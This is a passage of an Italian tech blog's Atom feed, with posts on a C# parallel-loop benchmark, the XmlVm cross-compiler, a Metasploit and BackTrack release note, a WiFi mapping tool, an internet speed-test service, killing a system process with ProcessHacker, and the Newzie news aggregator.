&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int millisesonds = ts.Milliseconds;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string str = hours.ToString() + ":" + minutes.ToString() + seconds.ToString() + ":" + millisesonds.ToString();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.textBox2.Text = str;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void button1_Click(object sender, EventArgs e)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.TestParallel();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void button2_Click(object sender, EventArgs e)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.TestSequential();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and this is the result :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Parallel time execution 13,7 seconds ,sequential execution 23 seconds ,my pc is dual core and advantage is &amp;gt; 40% if you have recent multicore processor you can do a test ,&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_9_voOcJB60M/TT2STz--JAI/AAAAAAAAAKo/NUtW5p3B-Cw/s1600/parallel+testing.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="311" src="http://4.bp.blogspot.com/_9_voOcJB60M/TT2STz--JAI/AAAAAAAAAKo/NUtW5p3B-Cw/s400/parallel+testing.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;success of parallel is not a surprise but percentage reveal an excellent performance &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-2248477181489770301?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/NpeopqXyP6TgfrgvDvfxrYlHxwI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/NpeopqXyP6TgfrgvDvfxrYlHxwI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/NpeopqXyP6TgfrgvDvfxrYlHxwI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/NpeopqXyP6TgfrgvDvfxrYlHxwI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/Lqk-5695BqY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/2248477181489770301/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2011/01/using-multicore-power-tpl-library.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/2248477181489770301?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/2248477181489770301?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/Lqk-5695BqY/using-multicore-power-tpl-library.html" title="Using multicore power : TPL library ,a simple test for Parallel.For , running time &quot;&lt; 40%&quot;" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_9_voOcJB60M/TT2STz--JAI/AAAAAAAAAKo/NUtW5p3B-Cw/s72-c/parallel+testing.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2011/01/using-multicore-power-tpl-library.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUcCR3s8eip7ImA9Wx9WFk0.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-5902727635625797372</id><published>2011-01-20T21:45:00.003+01:00</published><updated>2011-01-21T11:51:06.572+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-21T11:51:06.572+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="java" /><category scheme="http://www.blogger.com/atom/ns#" term="apple mac" /><category scheme="http://www.blogger.com/atom/ns#" term="ios" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><category scheme="http://www.blogger.com/atom/ns#" term="xmlvm.iphone" /><category scheme="http://www.blogger.com/atom/ns#" term="ios sdk" /><title>XmlVm in pratica</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;XmlVm è un tool opensource cross compiler convertitore di codice ,&lt;br /&gt;
&lt;br /&gt;
non esiste ancora una release come accennavo nello scorso post ma&lt;br /&gt;
potete scaricare il codice sorgente da qua&amp;nbsp;&lt;a href="http://sourceforge.net/projects/xmlvm/"&gt;http://sourceforge.net/projects/xmlvm/&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://sourceforge.net/projects/xmlvm/"&gt;&lt;/a&gt;usando subversion che trovate qui http://subversion.tigris.org/ ,&lt;br /&gt;
&lt;br /&gt;
a questo punto il modo piu' semplice per avere XmlVm pronto all'uso&lt;br /&gt;
è scaricare Apache Ant ---&amp;gt;&amp;nbsp;&lt;a href="http://ant.apache.org/"&gt;http://ant.apache.org/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
installate ant ,al massimo dovrete settare 3 variabili di sistema (pannello di controllo---&amp;gt; sistema--&amp;gt;avanzate ---&amp;gt; variabili ambiente ....) &amp;nbsp;java_home,ant_home a path con i valori relativi che potete trovare nel manuale html conteuto nel download di ant ,&lt;br /&gt;
&lt;br /&gt;
eseguite ant puntando alla dir dove avete scaricato xmlvm (vedi&amp;nbsp;&lt;a href="http://www.xmlvm.org/documentation/"&gt;http://www.xmlvm.org/documentation/&lt;/a&gt;&amp;nbsp;Compiling XmlVm)&lt;br /&gt;
&lt;br /&gt;
a questo punto avrete nella dir "dist" l'eseguibile java xmlvm.jar che potete invocare dal vostro jre-jdk usando java.exe&lt;br /&gt;
&lt;br /&gt;
ho provato a fare un semplicissimo programma di test usando netbeans e poi usando le opzioni --target=iphone , e target=js ho generato le applicazioni equivalenti a quella desktop in java,xmlvm.jar sembra produrre del codice corretto sia per quanto riguarda gli script javascript che il progetto per iphone per il quale viene generata una dir contente tutti i file sorgenti ed un file make , purtroppo per compilare i file sorgenti servirebbe un apple mac ed uno ios sdk, non possiedo nessuno dei due ma se qualche lettore del blog avesse mac e l'sdk iOs &amp;nbsp;potrebbe fare una prova e poi postare un commento od inviare un email&amp;nbsp;.&amp;nbsp;XmlVm permette anche di convertire java anche in codice per Android e Palm oppure generare codice iphone da codice android (objective-c),nella doc del sito si trovano tutte le opzioni elencate , il vantaggio complessivo sembrerebbe evidente in quanto si può sviluppare con strumenti rad open usando java e poi buildare un eseguibile per vari dispositivi mobili o meno in modo relativamente semplice,uno dei colli di bottiglia è però rappresentato dal fatto che l'sdk ios è solo per Mac e per di piu' sembrerebbe distribuito solo ai developer apple registrati (e paganti?!?) il progetto resta comunque molto interessante e navigabile facilmente con Eclipse ,&lt;br /&gt;
partire da eseguibili c# (cli) attualmente sembra piu' arduo in quanto la compatibilità java verso gli altri target è attualmente piu' ampia a livello di "compilatore" xmlvm , la similitudine sintattica &amp;nbsp;tra java e c# rende comunque facile usare java per chi utilizza c# ,una potenziale possibilità per i programmi scritti in c# è portarli sotto Mono e compilarli in modo nativo per i singoli processori&amp;nbsp;&lt;a href="http://www.mono-project.com/Mono:ARM"&gt;http://www.mono-project.com/Mono:ARM&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-5902727635625797372?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/128o3RnBNGQEgbOapC9e2yT8OFw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/128o3RnBNGQEgbOapC9e2yT8OFw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/128o3RnBNGQEgbOapC9e2yT8OFw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/128o3RnBNGQEgbOapC9e2yT8OFw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/LkRY7zFz84Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/5902727635625797372/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2011/01/xmlvm-in-pratica.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/5902727635625797372?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/5902727635625797372?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/LkRY7zFz84Q/xmlvm-in-pratica.html" title="XmlVm in pratica" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2011/01/xmlvm-in-pratica.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkMBQ3Y7fCp7ImA9Wx9QFU4.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-3782709377177691633</id><published>2010-12-28T07:43:00.004+01:00</published><updated>2010-12-28T12:07:32.804+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-12-28T12:07:32.804+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="offensive security" /><category scheme="http://www.blogger.com/atom/ns#" term="css 0 day vista seven" /><category scheme="http://www.blogger.com/atom/ns#" term="backtrack" /><title>Metasploit 3.5.1 ,BackTrack r2</title><content type="html">Risale al 15 dicembre la realizzazione di una nuova versione di metasploit la 3.5.1 con 46 moduli nuovi ed una quindicina di nuovi script,da provare....,alcuni dei nuovi script sono specifici per catturare audio e webcam su una macchina remota....... ,&lt;br /&gt;
&lt;br /&gt;
passando a&amp;nbsp;&lt;a href="http://www.backtrack-linux.org/backtrack/backtrack-4-r2-download/"&gt;BackTrack r2&lt;/a&gt; dovrebbe rappresentare un notevole passo in avanti ,piu' bello il wiki che permette di affrontare i problemi piu' comuni ad esempio non parte la gui grafica [verificato :-( ] ,&lt;br /&gt;
&lt;br /&gt;
la versione r2 ha un file di "installazione" già pronto per le macchine virtuali vmware ,in questo modo potete provare backtrack senza fare un dual boot dedicando un paio di giga del vostro hard disk e niente altro ,ed eventualmente rimuoverlo come se si trattasse di un file,&lt;br /&gt;
&lt;br /&gt;
per la r2 &amp;nbsp;novità consistenti nell'area wireless&amp;nbsp;&lt;a href="http://www.backtrack-linux.org/wiki/index.php/Wireless_Drivers"&gt;http://www.backtrack-linux.org/wiki/index.php/Wireless_Drivers&lt;/a&gt;&amp;nbsp;...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-3782709377177691633?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lknspxTmA8p_mFcne2kSMhoRaE4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lknspxTmA8p_mFcne2kSMhoRaE4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lknspxTmA8p_mFcne2kSMhoRaE4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lknspxTmA8p_mFcne2kSMhoRaE4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/CL9o4nM21os" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/3782709377177691633/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/12/metasploit-351-novita-su-offensive.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/3782709377177691633?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/3782709377177691633?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/CL9o4nM21os/metasploit-351-novita-su-offensive.html" title="Metasploit 3.5.1 ,BackTrack r2" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/12/metasploit-351-novita-su-offensive.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEENQn06fSp7ImA9Wx5UEU8.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-4278563477352221159</id><published>2010-10-12T23:22:00.001+02:00</published><updated>2010-10-15T09:11:33.315+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-10-15T09:11:33.315+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="tuner" /><category scheme="http://www.blogger.com/atom/ns#" term=".net" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><category scheme="http://www.blogger.com/atom/ns#" term="wifi" /><title>WiFi Defender :  un software per mappare la rete wifi</title><content type="html">Wifi Defender è un semplice software che ho sviluppato in c# per mappare la rete wifi ,catturarne gli eventi,cercare macaddress od hotspot ,migliorare la sintonia con un antenna direzionale,versiona attuale: 0.1 prealpha ( &lt;a href="http://code.google.com/p/wifidefender/"&gt;http://code.google.com/p/wifidefender/&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-4278563477352221159?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/kP84TevPxYDKjTrb_efrQ5b7dXc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/kP84TevPxYDKjTrb_efrQ5b7dXc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/kP84TevPxYDKjTrb_efrQ5b7dXc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/kP84TevPxYDKjTrb_efrQ5b7dXc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/ZNPu4L1H7Aw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/4278563477352221159/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/10/wifi-defender-un-software-per-mappare.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/4278563477352221159?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/4278563477352221159?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/ZNPu4L1H7Aw/wifi-defender-un-software-per-mappare.html" title="WiFi Defender :  un software per mappare la rete wifi" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/10/wifi-defender-un-software-per-mappare.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcMRHw7cSp7ImA9Wx5RGUQ.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-2989286344343834205</id><published>2010-08-27T23:50:00.002+02:00</published><updated>2010-08-28T12:08:05.209+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-28T12:08:05.209+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="misura internet nemesis" /><category scheme="http://www.blogger.com/atom/ns#" term="italian language" /><category scheme="http://www.blogger.com/atom/ns#" term="nemesis" /><category scheme="http://www.blogger.com/atom/ns#" term="misura connessione internet" /><category scheme="http://www.blogger.com/atom/ns#" term="nemesis connessione internet" /><title>Nemesis un software per misurare la velocità delle connessione internet con accuratezza e valore legale</title><content type="html">A fine estate dovrebbe essere possibile scaricare un software per la misurazione della velocità delle connessioni internet particolarmente accurato,il software sarà disponibile all'url "www.misurainternet.it" e questo sito sarà collegato ad un altro che riassumerà i costi delle varie connessioni,il software effettua diverse misurazioni nelle 24 ore per arrivare ad un valore il piu' singnificativo possibile,sembra che il report generato da questa applicazione potrà avere un valore legale.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-2989286344343834205?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PoltBXlnxKp9qVoUeKdQFyIAXjo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PoltBXlnxKp9qVoUeKdQFyIAXjo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PoltBXlnxKp9qVoUeKdQFyIAXjo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PoltBXlnxKp9qVoUeKdQFyIAXjo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/3dduftFWVWo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/2989286344343834205/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/nemesis-un-software-per-misurare-la.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/2989286344343834205?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/2989286344343834205?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/3dduftFWVWo/nemesis-un-software-per-misurare-la.html" title="Nemesis un software per misurare la velocità delle connessione internet con accuratezza e valore legale" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/nemesis-un-software-per-misurare-la.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUACQHk6fip7ImA9Wx5RGUs.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-4788766037041279374</id><published>2010-08-27T15:46:00.002+02:00</published><updated>2010-08-28T04:49:21.716+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-28T04:49:21.716+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="software gratis" /><category scheme="http://www.blogger.com/atom/ns#" term="software freeware" /><category scheme="http://www.blogger.com/atom/ns#" term="italian language" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratuito" /><category scheme="http://www.blogger.com/atom/ns#" term="plugin" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarcocastagna" /><category scheme="http://www.blogger.com/atom/ns#" term="free software" /><title>Eliminare un processo di sistema come extrema ratio</title><content type="html">LEGGETE IL POST FINO ALLA FINE PRIMA DI FARE QUALCOSA...&lt;br /&gt;
nel caso in cui vi venga segnalato un virus in un &lt;b&gt;processo di sistema&lt;/b&gt; l'antivirus potrebbe non contemplare l'ipotesi di killare il processo ospitante il virus (un esempio era lsasser che si annidava nel processo lsass) , il task manager probabilmente non vi consentirà di eliminare il processo negandovi l'accesso ,killare un servizio di sistema potrebbe in questo scenario permettere al vostro antivirus di riprendere il controllo della situazione ma molti sono i &lt;b&gt;possibili&lt;/b&gt; e &lt;b&gt;probabili&lt;/b&gt; effetti &lt;b&gt;"collaterali"&lt;/b&gt; : eliminando dai processi in esecuzione un processo di sistema potete facilmente incorrere nel &lt;b style="background-color: red;"&gt;blocco della macchina&lt;/b&gt;,&lt;b style="background-color: red;"&gt;schermata blu&lt;/b&gt; e&amp;nbsp;&lt;b style="background-color: red;"&gt; perdita dei dati se&lt;/b&gt; oltre ad un restart forzato , la scelta stà quindi a voi ,per portare a termine l'operazione normalente non consentita potete utilizzare ProcessHacker un software gratuito ed opensource scritto in csharp che vi consente una gestione maggiore dei processi in esecuzione rispetto al TaskManager,se avete altre strade da tentare provatele prima di contemplare anche solo ipoteticamente questa possibilità .&lt;br /&gt;
LA FINE DEL POST :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-4788766037041279374?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/qOwV_OAanuuFMzenaLC4pzvtdIo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qOwV_OAanuuFMzenaLC4pzvtdIo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/qOwV_OAanuuFMzenaLC4pzvtdIo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qOwV_OAanuuFMzenaLC4pzvtdIo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/g_InJha-drM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/4788766037041279374/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/07/eliminare-un-processo-di-sistema-come.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/4788766037041279374?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/4788766037041279374?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/g_InJha-drM/eliminare-un-processo-di-sistema-come.html" title="Eliminare un processo di sistema come extrema ratio" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/07/eliminare-un-processo-di-sistema-come.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcFRnw7eip7ImA9Wx5RF0g.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-6146361198244761000</id><published>2010-08-22T13:42:00.005+02:00</published><updated>2010-08-25T18:16:57.202+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-25T18:16:57.202+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="software  freeware" /><category scheme="http://www.blogger.com/atom/ns#" term="blogger" /><category scheme="http://www.blogger.com/atom/ns#" term="italian language" /><category scheme="http://www.blogger.com/atom/ns#" term="rss feed" /><category scheme="http://www.blogger.com/atom/ns#" term="newzie" /><title>Newzie un software freeware per recuperare ed aggregare notizie dal web in modo intelligente</title><content type="html">&lt;a href="http://translate.google.it/translate?js=y&amp;amp;prev=_t&amp;amp;hl=it&amp;amp;ie=UTF-8&amp;amp;layout=1&amp;amp;eotf=1&amp;amp;u=http%3A%2F%2Ffreeware--software.blogspot.com%2F2010%2F08%2Fnewzie-un-software-freeware-per.html&amp;amp;sl=it&amp;amp;tl=en"&gt;English version&lt;/a&gt;&lt;br /&gt;
Newzie è un software freeware ed utile che potere scaricare dal sito http://www.newzie.com/ ,permette di monitorare il cambiamento di pagine web,aggregare piu' feed rss in uno solo, inserire dei filtri nei feed in modo da recuperare solo quei post che contengono solo le parole chiave da noi scelte come rilevanti .Per le altre interessanti funzioni vi rimando al dettagliato help,è un software gratuito che può essere ,a mio avviso, utilizzato in ambito professionale da blogger e giornalisti ,ad un primo sguardo mi sembra manchi un dizionario dei sinonimi che potrebbe potenziare e rendere piu' comodo l'uso di filtri formati da keywords sui feed .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-6146361198244761000?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/0p95n0F9PviN6xbzEoYRd7Qp5Qg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0p95n0F9PviN6xbzEoYRd7Qp5Qg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/0p95n0F9PviN6xbzEoYRd7Qp5Qg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0p95n0F9PviN6xbzEoYRd7Qp5Qg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/PNS4hc_pKDY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/6146361198244761000/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/newzie-un-software-freeware-per.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6146361198244761000?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6146361198244761000?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/PNS4hc_pKDY/newzie-un-software-freeware-per.html" title="Newzie un software freeware per recuperare ed aggregare notizie dal web in modo intelligente" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" 